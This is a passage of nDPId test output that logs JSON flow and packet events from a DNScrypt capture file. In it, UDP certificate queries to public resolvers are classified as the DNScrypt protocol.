+00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":502,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":54305,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":208,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":47867,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIclEVAAH4RqpAKAAABkFtq49QhAbsCCL4UZloBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":502,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":54305,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":503,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":55469,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":209,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":503,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":47873,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIclEZAAH4Rqo8KAAABkFtq49itAbsCCL4UZlwBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":503,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":55469,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":504,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":54204,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":210,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":504,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":47885,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXclEcgAH4Rxs4KAAABkFtq49O8AbsGBCzXZl0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":504,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":54204,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":505,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":47896,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQlEcAuX4R66EKAAABkFtq4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":505,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00662{"flow_id":206,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":69636,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTkQZAADcR9hiQW2rjCgAAAQG7oJQAvzbjZluBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAALkTa3PmYOnbKVsenPA+dUbqb7bPdeethm+r51VaewMcP0sfe1RtTAHcc8Uvs8bFQylZgA4Na3Yk4xgl2KWmKw4bPctGhBgarq2J2ya3ifLfvYsxbqqez8iaBEin48TCXxs9y0aEGBquAAAAAV9TgfdfVNN3"} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":507,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":33293,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":211,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":507,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":70457,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcSFhAAH4R+qEKAAABLuPIN4INIPsCCLnwFdMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":507,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":33293,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":508,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":38242,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":212,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":70514,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcSFkgAH4RFuEKAAABLuPIN5ViIPsGBDRUFdABAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":508,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":38242,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":509,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":33246,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":213,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":70525,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcSFogAH4RFuAKAAABLuPIN4HeIPsGBEfaFc4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":509,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":33246,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":510,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":70529,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQSFkAuX4RO7QKAAABLuPINwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":510,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":511,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":70534,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQSFoAuX4RO7MKAAABLuPINwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":511,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":512,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":50277,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 